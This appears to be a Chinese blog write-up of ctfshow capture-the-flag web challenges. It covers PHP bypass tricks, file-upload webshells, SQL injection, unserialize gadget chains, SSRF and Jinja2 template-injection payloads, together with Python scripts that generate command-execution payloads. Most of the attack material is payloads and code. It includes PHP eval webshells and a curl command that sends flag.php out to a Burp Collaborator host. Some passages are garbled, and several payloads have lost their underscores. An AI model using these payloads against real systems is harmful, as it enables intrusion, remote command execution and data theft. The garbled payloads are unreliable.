if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
传入参数: POST: v1 POST: v2
if语句要求 v1!=v2&&sha1($v1)==sha1(v2)
M1:数组绕过
v1[]=1 v2[]=2
M2: 哈希碰撞
v1=aaK1STfY v2=aaO8zKZF
Web107
PAYLOAD:
M1:
POST: v1=flag=0 GET: v3=240610708 (md5后效果为0e开头)
M2:
POST: v1=1 GET: v3[]=1
Web108
PAYLOAD:
c=a%00778
Web109
PAYLOAD:
v1=ReflectionClass&v2=system('tac ./fl36dg.txt')
Web110
利用php原生类以及php内置方法getcwd()
PAYLOAD:
v1=FilesystemIterator&v2=getcwd
https://i-blog.csdnimg.cn/img_convert/db02724ed8cc85c7134ab22bf80e5c55.png然后访问对应txt文件即可 Web111
利用全局变量GLOBALS
PAYLOAD:
GET: v2=GLOBALS&v1=ctfshow
Web112
M:
`file=php://filter/resource=flag.php`
`file=php://filter/read=convert.quoted-printable-encode/resource=flag.php`
`file=php://filter/read=convert.iconv.UTF-7.UTF-8*/resource=flag.php`
`file=compress.zlib://flag.php`
`file=php://filter/zlib.deflate|zlib.inflate/resource=flag.php`
Web113
过滤了filter字符串
file=compress.zlib://flag.php
Web114
filter又被放出来了
file=php://filter/resource=flag.php
Web115
PAYLOAD:
GET: num=%0c36 %0c => \f 换页符,将光标移到下一页开头。
Web123
PAYLOAD:
POST: CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag
为什么存在一个字符[呢?
php变量名只由字符,数字,数字下划线_组成
但是,字符**[**在php变量中会自动变化成下划线_ ,而这之后的全部符号都会保留下来
Web125
PAYLOAD:
M1:
POST:CTF_SHOW=1&CTF)
GET: a=./flag.php
M2:
POST:CTF_SHOW=1&CTF
GET: a=php://filter/read=convert.base64-encode/resource=flag.php
不太清楚为什么php://filter其他的编码过滤器不可以例如convert.quoted-printable-encode
M3:
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=var_exoprt(get_defined_vars()) 搜索ctfshow即可找到flag
M4:
POST: CTF_SHOW=1&CTF[SHOW.COM=1&fl0g=flag_give_me&fun=extract($_POST)
Web126
利用parse_str()函数,与上面的extract相似,都可以设置变量
M1:
GET: a=1 fl0g=flag_give_me
POST: CTF_SHOW=1&CTF) //这里的$a实际为fl0g=flag_give_me
M2:
POST: CTF_SHOW=&CTF)
GET: ?$fl0g=flag_give_me
Web127
利用编码绕过/利用url无法剖析空格将无法剖析的内容转换为_字符的特性
M1: ?ctf%5Fshow=ilove36d
M2: ?ctf show=ilove36d
Web128
gettext()函数,别名_(),刚好满足无数字,字母要求。
get_defined_vars(),返回作用域内全部已界说的变量、环境变量、服务器变量、用户界说变量列表。
PAYLOAD: ?f1=_&f2=get_defined_vars
Web129
PAYLOAD: ?f=php://filter/ctf_show/resource=1
Web130
这里正则表达式匹配ctfshow,条件是前面有任一字符
PAYLOAD: POST: f=ctfshow 利用数组绕过 f[]=1
Web131
preg_match匹配字符存在上限,题目提示250000个very
exp
import requests
url = 'https://92e0130f-3434-4ac7-968a-5216e77fd98c.challenge.ctf.show/'
s = 'very'*250000+'36Dctfshow'
data = dict(f=s)
ret = requests.post(url, data=data,verify=False).text
print(ret)
Web132
Dirsearch遍历目录得到admin目录,访问
https://i-blog.csdnimg.cn/img_convert/2dff8c377acc16afe0edec7ea05250a7.png<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
**PAYLOAD**:code=admin&username=admin&password=anything
Web133
PAYLOAD:substr函数假如通报的参数中引用了自己就会发生变量覆盖,从而curl命令外带内容.这里可以利用burpsuite的collaborator功能
Payload:
?F='$F'+ curl -X POST -F xx=@flag.php Collaborator的一次性地点
Web134
PAYLAOD:GET: ?_POST=36d&_POST=36d
颠末@parse_str($_SERVER['QUERY_STRING']);命令后。
会在工作区内界说两个变量: $_POST=36d P O S T [ k e y 2 ] = 36 d 此时 p a r s e s t r 命令会 把 P O S T [ k e y 1 ] 和 P O S T [ k e y 2 ] 当作一串字符,视为变量的名字,但是现实上界说了两个 P O S T 变量颠末 ‘ e x t r a c t ( _POST=36d 此时parse_str命令会把_POST和_POST当作一串字符,视为变量的名字,但是现实上界说了两个POST变量 颠末`extract( POST=36d此时parsestr命令会把POST和POST当作一串字符,视为变量的名字,但是现实上界说了两个POST变量颠末‘extract(_POST);`命令后
又会界说两个变量 $key1=36d $key2=36d,成功执行die命令,返回flag内容,flag内容在页面源代码的注释中
Web135
PAYLOAD:GET: F=/$F/;nl flag.php>1.txt GET:?F= F F = F F= FF=F ;mv flag.php>1.txt`
Web136
利用linux tee命令
PAYLOAD:?c=ls /|tee 1
访问url/1下载文件记事本打开
得到flag文件所在位置
bin
dev
etc
f149_15_h3r3
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
?c=cat /f149_15_h3r3|tee 2
访问下载2即可获取flag
web137
call_user_func()如何调用类中的方法
https://i-blog.csdnimg.cn/img_convert/201cee33ac8217b241842604e25cbc00.pngPAYLOAD:ctfshow=ctfshow::getFlag
Web138
call_user_func()在过滤:条件下可以利用数组来进行调用类中方法
PAYLOAD:ctfshow=ctfshow&ctfshow=getFlag
Web139
题目wp给的代码运行后全是a
Web140
preg_match('/^+$/')
起首确保传入变量包罗数字字母
第二要实现intval($code) == ‘ctfshow’
弱比力,若此时intval返回效果为0则成功得到flag
$code = eval(“return f 1 ( f1( f1(f2());”);
观察什么函数方法返回False即为0
ctfshow的wp是这么写的
payload1: system(system())---> f1=system&f2=system
payload2: usleep(usleep())---> f1=usleep&f2=usleep usleep没有返回值。 所以intval参数为空,失败返回0
payload3: getdate(getdate())---> f1=getdate&f2=getdate
Web141
利用羽的脚本:
import os
import re
from urllib.parse import unquote
def make_dic(operation):
"""生成指定运算符的字典文件"""
filename = f"rce_{operation}.txt"
if not os.path.exists(filename):
print("Making dictionary...")
with open(filename, "w") as myfile:
contents = []
seen = set()# 使用集合来跟踪已添加的结果,避免重复
# 遍历所有可能的字节值(0-255)
for i in range(256):
for j in range(256):
# 将数字转换为两位十六进制表示
hex_i = f'{i:02x}'
hex_j = f'{j:02x}'
# 定义需要过滤的字符(数字、字母和特殊字符)
pattern = re.compile(r'\{\}\&\-]', re.IGNORECASE)
# 检查字符是否需要被过滤
try:
if pattern.match(bytes.fromhex(hex_i).decode('latin1')) or \
pattern.match(bytes.fromhex(hex_j).decode('latin1')):
continue
except UnicodeDecodeError:
continue
# 构造URL编码形式
a = f'%{hex_i}'
b = f'%{hex_j}'
# 根据不同运算符生成结果 (使用if-elif替代match语句)
if operation == "and":
c = chr(ord(unquote(a)) & ord(unquote(b)))
elif operation == "or":
c = chr(ord(unquote(a)) | ord(unquote(b)))
elif operation == "xor":
c = chr(ord(unquote(a)) ^ ord(unquote(b)))
# 只保存可打印字符且未重复的结果
if 32 <= ord(c) <= 126 and c not in seen:
contents.append(f"{c} {a} {b}\n")
seen.add(c)
# 写入文件
myfile.writelines(contents)
print("Making dictionary...done")
else:
print("Dictionary already exists!!")
def generate_payload(text, operation):
"""根据输入文本和运算符生成payload"""
op_symbols = {"and": '&', "or": '|', "xor": '^'}
op = op_symbols
s1 = []
s2 = []
filename = f"rce_{operation}.txt"
# 读取字典文件
with open(filename, 'r') as f:
lines = f.readlines()
# 为每个字符查找对应的编码对
for char in text:
found = False
for line in lines:
if char == line:
s1.append(line)
s2.append(line.strip())
found = True
break
if not found:
print(f"警告: 字符 '{char}' 未找到对应编码")
return f"(\"{''.join(s1)}\"{op}\"{''.join(s2)}\")"
def main():
"""主函数"""
# 获取用户输入
function = input("请输入函数名: ")
command = input("请输入命令: ")
# 选择运算符
while True:
operation = input("请选择运算类型 (and/or/xor): ").lower()
if operation in ["and", "or", "xor"]:
break
print("请选择以下之一: and, or, xor")
# 生成字典并构造payload
make_dic(operation)
payload = generate_payload(function, operation) + generate_payload(command, operation)
print("生成的payload为:" + payload)
if __name__ == "__main__":
main()
输入对应的system cat ./flag.php即可在页面源代码中的到flag
Web142
直接传参数为0就可以了
Web143
继续利用脚本,记得将正则表达式输入正确执行命令即可
import os
import re
from urllib.parse import unquote
def make_dic(operation, pattern_str):
"""生成指定运算符的字典文件
Args:
operation: 运算类型 (and/or/xor)
pattern_str: 自定义的正则表达式字符串,用于过滤字符
"""
# 移除正则表达式中可能的开头/和结尾/i
if pattern_str.startswith('/') and ('/' in pattern_str):
last_slash = pattern_str.rindex('/') + 1
flags = pattern_str
pattern_str = pattern_str
ignore_case = 'i' in flags
else:
ignore_case = True
# 生成文件名,包含正则表达式的哈希值以区分不同的过滤规则
pattern_hash = str(hash(pattern_str))[:8]
filename = f"rce_{operation}_{pattern_hash}.txt"
if not os.path.exists(filename):
print(f"正在生成字典... (使用正则: {pattern_str})")
try:
# 编译正则表达式
flags = re.IGNORECASE if ignore_case else 0
pattern = re.compile(pattern_str, flags)
except re.error as e:
print(f"正则表达式错误: {e}")
return None
with open(filename, "w") as myfile:
contents = []
seen = set()# 使用集合来跟踪已添加的结果,避免重复
# 遍历所有可能的字节值(0-255)
for i in range(256):
for j in range(256):
# 将数字转换为两位十六进制表示
hex_i = f'{i:02x}'
hex_j = f'{j:02x}'
# 检查字符是否需要被过滤
try:
char_i = bytes.fromhex(hex_i).decode('latin1')
char_j = bytes.fromhex(hex_j).decode('latin1')
# 如果任一字符匹配正则表达式,则跳过
if pattern.search(char_i) or pattern.search(char_j):
continue
except UnicodeDecodeError:
continue
# 构造URL编码形式
a = f'%{hex_i}'
b = f'%{hex_j}'
# 根据不同运算符生成结果
if operation == "and":
result = ord(unquote(a)) & ord(unquote(b))
elif operation == "or":
result = ord(unquote(a)) | ord(unquote(b))
elif operation == "xor":
result = ord(unquote(a)) ^ ord(unquote(b))
# 只保存可打印字符且未重复的结果
if 32 <= result <= 126:
c = chr(result)
if c not in seen:
contents.append(f"{c} {a} {b}\n")
seen.add(c)
# 写入文件
myfile.writelines(contents)
print(f"字典生成完成,共 {len(contents)} 个字符组合")
else:
print(f"字典已存在: {filename}")
return filename
def generate_payload(text, operation, filename):
"""根据输入文本和运算符生成payload"""
op_symbols = {"and": '&', "or": '|', "xor": '^'}
op = op_symbols
s1 = []
s2 = []
# 读取字典文件
with open(filename, 'r') as f:
lines = f.readlines()
# 创建字符到编码对的映射
char_map = {}
for line in lines:
if len(line) >= 9:# 确保行格式正确
char = line
code1 = line
code2 = line
if char not in char_map:
char_map = (code1, code2)
# 为每个字符查找对应的编码对
missing_chars = []
for char in text:
if char in char_map:
s1.append(char_map)
s2.append(char_map)
else:
missing_chars.append(char)
if missing_chars:
print(f"警告: 以下字符未找到对应编码: {''.join(missing_chars)}")
print("这些字符将使用默认编码,可能导致payload无效")
for char in missing_chars:
hex_val = format(ord(char), '02x')
s1.append("%00")
s2.append(f"%{hex_val}")
return f"(\"{(''.join(s1))}\"{op}\"{(''.join(s2))}\")"
def main():
"""主函数"""
print("=" * 60)
print("无字母数字编码生成工具")
print("=" * 60)
# 获取用户输入
function = input("请输入函数名: ")
command = input("请输入命令: ")
# 选择运算符
while True:
operation = input("请选择运算类型 (and/or/xor): ").lower()
if operation in ["and", "or", "xor"]:
break
print("请选择以下之一: and, or, xor")
# 获取用户自定义的正则表达式
print("\n请输入正则表达式,用于指定要过滤的字符")
print("默认值为: \\{\\}\\&\\-]")
print("如果使用PHP风格的正则表达式(如/pattern/i),将自动转换")
pattern_str = input("正则表达式: ") or r'\{\}\&\-]'
# 生成字典并构造payload
filename = make_dic(operation, pattern_str)
if filename:
function_payload = generate_payload(function, operation, filename)
command_payload = generate_payload(command, operation, filename)
print("\n" + "=" * 60)
print("生成的payload为:")
combined_payload = function_payload + command_payload
print(combined_payload)
# 保存payload到文件的选项
save = input("\n是否保存payload到文件? (y/n): ").lower()
if save == 'y':
save_file = input("请输入文件名 (默认: payload.txt): ") or "payload.txt"
with open(save_file, 'w') as f:
f.write(combined_payload)
print(f"Payload已保存到: {save_file}")
# 提示用户可以使用解析工具
print("\n提示: 可以使用 xor_or_and_rev.py 脚本解析此payload")
if __name__ == "__main__":
main()
Web144
Web149
https://i-blog.csdnimg.cn/img_convert/c2349d029445b72d8e3700cbd7ef4d65.png记得要重新开启一个容器才可以,因为进行一次命令会更改原有内容 https://i-blog.csdnimg.cn/img_convert/e1b038fed7ceb241f8788d5792b27d99.pngWeb150
文件上传
web151
提示前台校验不可靠,检察源代码,发现上传图片要求为png格式
一句话木马shell.php
<?php @eval($_POST['cmd']); ?>
传入时更改后缀为png后抓包,修改后缀为php后再传入,得到上传目录,蚁剑连接即可得到flag
https://i-blog.csdnimg.cn/img_convert/6516d5f2643595812cc8a5184f6d287a.png
https://i-blog.csdnimg.cn/img_convert/cae88c84add9c3ca76dc4a85d31149c4.png
web152
与上题一摸一样的步调
https://i-blog.csdnimg.cn/img_convert/6a91b273d133b04321aa691e70e4ed97.png
https://i-blog.csdnimg.cn/img_convert/c3d7c8e911f1d6cfbe71a49dbf87d29a.png
web153
后端采用了黑名单过滤了php,这里利用.user.ini
编写.user.ini,利用burpsuite抓包后传入.user.ini文件,然后再传入图片shell2.png
auto_prepend_file=shell2.png
shell2.png
<?php @eval($_GET); ?>
构造url/upload?1=system(‘cat …/flag.php’);即可获取flag
https://i-blog.csdnimg.cn/img_convert/d25c075385a82313156470a39d7ca786.png
https://i-blog.csdnimg.cn/img_convert/102e903bbccc51a9a55bb9bb1c3dacb0.png
web154
随意传入一个png文件,提示
https://i-blog.csdnimg.cn/img_convert/9a8f173409276c3d99ba5add4fb65634.png
猜测过滤了php或< ?等符号具体试试发现仅仅过滤了php,利用短标签绕过,一句话木马:
<?=@eval($_GET); ?>
之后与上面相同,传入.user.ini,然后构造upload?1=system(‘tac …/flag.php’);即可获取flag
https://i-blog.csdnimg.cn/img_convert/116788cdc1ca882a22674fc4429a17c3.png
https://i-blog.csdnimg.cn/img_convert/d3c21b25acea7dab0e0bcba18a30b8f8.png
web155
与上题步调想相同
web156
与上题不同的是黑名单多了一个[]
黑名单:php []
这里可以利用{}代替
https://i-blog.csdnimg.cn/img_convert/ee3ce95782866e30cda492779a7ef97c.png
web157
与上题不同的是黑名单多了; {}
黑名单:php [] ;{}
直接传入命令执行代码
<?=system('tac ../flag.*') ?>
一句话木马后面其实可以没有;结尾,去掉,与上面相同即可获取flaghttps://i-blog.csdnimg.cn/img_convert/41d0db03510247df23f6322bb25dcbf7.png
https://i-blog.csdnimg.cn/img_convert/5321095cc9dd9d36895337bfb25b0c35.png
web158
与上题相同步调
https://i-blog.csdnimg.cn/img_convert/9b73be8c0b049cbf948f276ed59cb233.png
web159
与上题不同的是黑名单多了 ()
黑名单:php [] ;{} ()
构造一句话木马
<?= `tac ../flag.*`?>
反引号内的内容会被当作shell命令,与上题相同步调即可获取flag
https://i-blog.csdnimg.cn/img_convert/7f03030a949575b898b2b1a5241a4113.png
web160
与上题不同的是黑名单多了 ()
黑名单:php [] ;{} () 空格 `
采用日志包罗来获取flag
shell2.png利用记事本编写一下内容,从而包罗日志文件,之后访问url/upload发现日志,抓包更改UA头,比方下面如许即可获取flag
<?=include"/var/lo"."g/nginx/access.l"."og"?>
https://i-blog.csdnimg.cn/img_convert/7211c23dc2b09ad31c0bc36ec051564c.png
web161
本题重要是图片头的添加,这里利用直接抓包在文件内容上添加GIF89a图片头的方式,与上面的题目流程基本相同,只是在上传文件都要抓包添加一个GIF89a
https://i-blog.csdnimg.cn/img_convert/61b611b52883d06992796cfcb66caa47.png
https://i-blog.csdnimg.cn/img_convert/878a585aa2092f4e3e9e16288d69898f.png
https://i-blog.csdnimg.cn/img_convert/861bc54f75b2ad4df43439cb2980a3f0.png
web167
前端验证必须为jpg文件,上传jpg文件后利用burpsuite抓包改为所需文件名
上传.htaccess文件
内容为:
AddType application/x-httpd-php .jpg
然后上传一句话木马,蚁剑连接即可获取flag
https://i-blog.csdnimg.cn/img_convert/77140c64738e122574b8bb41da7218d5.png
https://i-blog.csdnimg.cn/img_convert/3f12a64c310091c718f5bb0461970673.png
https://i-blog.csdnimg.cn/img_convert/2a2bfaaa29093ab6cd777b9709b09213.png
web168
前端验证需求png后缀,观察如何构造payload,过滤了大量的如system等直接命令
传入webshell.php.png(burpsuite抓包去除.png)
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST);
?>
上传后访问url/upload/webshell.php get传参即可获取flag
https://i-blog.csdnimg.cn/img_convert/52d3839a939d56cf1e26b1b8af6e5013.png
sql注入
web171
ID:1’ or 1=1–+
构造后的语句为
select username,password from user where username !='flag' and id = '1' or 1=1 *--+ limit 1;*
https://i-blog.csdnimg.cn/img_convert/1004f9b486b7f8be46aa394ddf41bec4.png
web172
选择select模块,有两个选择,无过滤注入1显示,因而flag在无过滤注入2中
https://i-blog.csdnimg.cn/img_convert/982278f5d52ecb6d41e34124452a9826.png
查找表名:
-1'union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() --+
查找列名:
-1'union select 1,group_concat(column_name)from information_schema.columns where table_name='ctfshow_user2' --+
查看字段
-1'union select 1,group_concat(id,username,password)from ctfshow_user2 --+
https://i-blog.csdnimg.cn/img_convert/0986d7ea7b98ede8e2e7b0b1fea2ba23.png
https://i-blog.csdnimg.cn/img_convert/b0565ec4abe58a7751fcd7da69769067.png
https://i-blog.csdnimg.cn/img_convert/2f451f8e5d20d968a90a088be19c2401.png
https://i-blog.csdnimg.cn/img_convert/725effd3f6309376c274ee38f4ba8840.png
web173
order by知道存在3列
https://i-blog.csdnimg.cn/img_convert/b9d19f6ab040c9aa231f18730e5c177e.png
与前面相似,只需要在1,后添加上2,即可
https://i-blog.csdnimg.cn/img_convert/7c2e0a999cb18d57f163b974bbc55183.png
https://i-blog.csdnimg.cn/img_convert/bec34b9b366eff4987de5a6d98f32711.png
与上题不同的是末了会对username字段进行flag字符串匹配,这里可以直接检察password字段,比力flag在username字段里
-1' union select 1,2,password from ctfshow_user3--+
https://i-blog.csdnimg.cn/img_convert/84299b892526410e18dd86974feab946.png
web174
反序列化
web254
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
构造payload:username=xxxxxx&password=xxxxxx即可获取flag
https://i-blog.csdnimg.cn/img_convert/fe8862993312f5513fc0a7ecaa647804.png
web255
https://i-blog.csdnimg.cn/img_convert/41d64816a302d9d2805ab32f8ae03dc0.png
web256
https://i-blog.csdnimg.cn/img_convert/969de8a20fe1687847751a5c7309d68b.png
https://i-blog.csdnimg.cn/img_convert/d9ee819ed8a69016b82c1be33a5c148a.png
web257
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code='system("tac flag.php");';
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
https://i-blog.csdnimg.cn/img_convert/d13ed0fa3616f9e42f2a1b3337ddebd4.png
web258
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor
{
public $code = 'system("tac ./flag.php");';
public function getInfo()
{
eval($this->code);
}
}
$a=new ctfShowUser();
$b= 'O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:25:"system("tac ./flag.php");";}}';
echo urlencode($b);
https://i-blog.csdnimg.cn/img_convert/d1ad3e06a53cfdc88f656f690a608f90.png
web259
web260
传参:?ctfshow=ctfshow_i_love_36D即可获取flag
https://i-blog.csdnimg.cn/img_convert/635c98fec60da780d93cd973de5d8d1c.png
web261
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a = new ctfshowvip('877.php','<?php eval($_POST) ?>');
echo urlencode(serialize($a));
蚁剑连接,虚拟终端查找flag文件,cat检察flag
https://i-blog.csdnimg.cn/img_convert/b8aeea20fcfb9b1edf230e8c3641dba8.png
web262
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
假如传入参数全为1,序列化的效果为下图
https://i-blog.csdnimg.cn/img_convert/cfe98ff2f7b50b4e54cd43c839112148.png
现在要使token的值为admin
O:7:“message”:4:{s:4:“from”;i:1;s:3:“msg”;i:1;s:2:“to”;i:1;s:5:“token”;s:4:“admin”;}
可以如许使得序列化的效果为
O:7:“message”:4:{s:4:“from”;i:1;s:3:“msg”;i:1;s:2:“to”;i:1;s:5:“token”;s:4:“admin”;}";s:5:“token”;s:4:“user”;}
现在构造t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:“token”;s:5:“admin”;}
https://i-blog.csdnimg.cn/img_convert/aabb9b0219a123981ee81b6959f40af4.png
https://i-blog.csdnimg.cn/img_convert/988c7bae9a353d850662a765a8176c0c.png
访问message.php即可得到flag
https://i-blog.csdnimg.cn/img_convert/e8ecb887d85f3175a9bb9c2ecc6f0b24.png
web263
web264
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
与web262过程基本相同,但是末了访问message.php时需要burp抓包对cookie进行修改,如下
https://i-blog.csdnimg.cn/img_convert/fc81e79f3fa74f86cf491ccd5478c5ba.png
web265
效果如下,payload:?ctfshow=O:12:“ctfshowAdmin”:2:{s:5:“token”;s:32:“0353b5a958326abf2d00d075728ec91b”;s:8:“password”;R:2;}
https://i-blog.csdnimg.cn/img_convert/cd287b490831c3590c61c10c24df101f.png
解释一下,这里利用的是php指针,利用R表现,这里password的值为R:2;,意思是对象的第一个元素,在这里即为token元素,所以不管token的值随机为多少,password的值始终指向token元素,值相等,符合token===password的要求。
web266
巨细写绕过
https://i-blog.csdnimg.cn/img_convert/e5d3c83a40d6b20338d1826eeebe1457.png
末了payload:
POST: O:7:“Ctfshow”:2:{s:8:“username”;i:1;s:8:“password”;i:2;}
https://i-blog.csdnimg.cn/img_convert/4b8c4793d873a0e0d576f2742b0f2ad9.png
web267
yii反序列化漏洞
java
代码审计
phpCVE
XSS
nodejs
jwt
SSRF
web351
https://i-blog.csdnimg.cn/img_convert/25684349bc5d9b5c9dfd74f4ae36c5f4.png
web352
https://i-blog.csdnimg.cn/img_convert/ef1ab96b5ae9c1cd6a8a963a6e7d0411.png
web353
https://i-blog.csdnimg.cn/img_convert/baf3ef975eeb1109ff371b879daf811f.png
web354
https://i-blog.csdnimg.cn/img_convert/31869f73f5cfb0401f5a2da4d8dc39a0.png
Web356
实验直接访问,会提示非本地禁止访问
https://i-blog.csdnimg.cn/img_convert/aa454b9ab0ba4f90eea79523a94e5e60.pngPAYLOAD:POST: url=http://0/flag.php
web357
SSTI
web361
Flag:ctfshow{2e517f99-f58b-4e39-b4ce-00231dfe8257}
__class__用来查看变量所属的类
__bases__用来查看类的基类,就是父类(或者__base__)
__mro__:显示类和基类
__subclasses__():查看当前类的子类
__getitem__:对数组字典的内容提取
__init__: 初始化类,返回的类型是function
__globals__:查看全局变量,有哪些可用的函数方法等,然后再搜索popen,eval等
__builtins__:提供对Python的所有"内置"标识符的直接访问,即先加载内嵌函数再调用
__import__ : 动态加载类和函数,用于导入模块,经常用于导入os模块(例如__import__('os').popen('ls').read())
url_for :flask的方法,可以用于得到__builtins__
lipsum :flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
config:当前application的所有配置。
popen():执行一个 shell 以运行命令来开启一个进程
request.args.key:获取get传入的key的值
注入思路:
''.__class__(获取当前类)
->__bases__(获得object(父类)类)
->__subclasses__()(获得object类下所有类)
->__sublasses__()(获得os._wrap._close)
->__init__ (初始化,返回function方法)
->__globals__(获得所有的方法)
->__globals__['popen'] (使用popen方法)
->__globals__['popen']('命令内容').read()
https://i-blog.csdnimg.cn/img_convert/1bbdb99809fcd00242766086a1aa82ca.png shell: url/?name={{‘’.class.bases.subclasses().init.globals[‘popen’](‘cat /flag’).read()}}
https://i-blog.csdnimg.cn/img_convert/5e9433879dafb445eab847f2de614af4.pngweb362
过滤了数字2 3
flag:ctfshow{8a7df528-b546-45f2-9b20-0bc02e9db86d}
注入思路:
''.__class__(获取当前类)
->__bases__(获得object(父类)类)
->__subclasses__()(获得object类下所有类)
->__sublasses__()(获得warnings.catch_warnings)
->__init__ (初始化,返回function方法)
->__globals__(获得所有的方法)
->__globals__.__builtins__
->__globals__.__builtins__['eval'] (内置eval函数)
->__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")
?name={{‘’.class.mro.subclasses().init.globals.builtins[‘eval’](“import(‘os’).popen(‘cat /flag’).read()”)}}
web363
过滤了引号
注入思路:
''.__class__(获取当前类)
->__bases__(获得object(父类)类)
->__subclasses__()(获得object类下所有类)
->__sublasses__()(获得os._wrap._close)
->__init__ (初始化,返回function方法)
->__globals__(获得所有的方法)
->__globals__ (使用popen方法)
->__globals__(request.args.arg1).read()
shell:?name={{().class.bases.subclasses().init.globalsrequest.args.arg1.read()}}&arg1=popen&arg2=cat /flag
https://i-blog.csdnimg.cn/img_convert/c8659618c374390d2b9ee800d62054aa.pngweb364
ctfshow{d36c357d-9533-4af3-936d-733975d61ac1}
shell:?name={{().class.bases.subclasses().init.globalsrequest.cookies.arg1.read()}}
cookie: arg1=popen arg2=cat /flag
https://i-blog.csdnimg.cn/img_convert/7d79265525bfb24d0efd9ecb8e97b9f2.pngweb364
https://i-blog.csdnimg.cn/img_convert/d8275a15d5b3e969876c889a3b026523.pngweb365
?name={{()|attr(request.values.p1)|attr(request.values.p2)|attr(request.values.p3)()|attr(request.values.p4)(132)|attr(request.values.p5)|attr(request.values.p6)|attr(request.values.p7)(request.values.cmd1)(request.values.cmd2)|attr(request.values.cmd3)()}}&p1=__class__&p2=__base__&p3=__subclasses__&p4=__getitem__&p5=__init__&p6=__globals__&p7=__getitem__&cmd1=popen&cmd2=cat+/flag&cmd3=read
https://i-blog.csdnimg.cn/img_convert/66d83c4d03c641aa1658397f825d4518.pngweb366
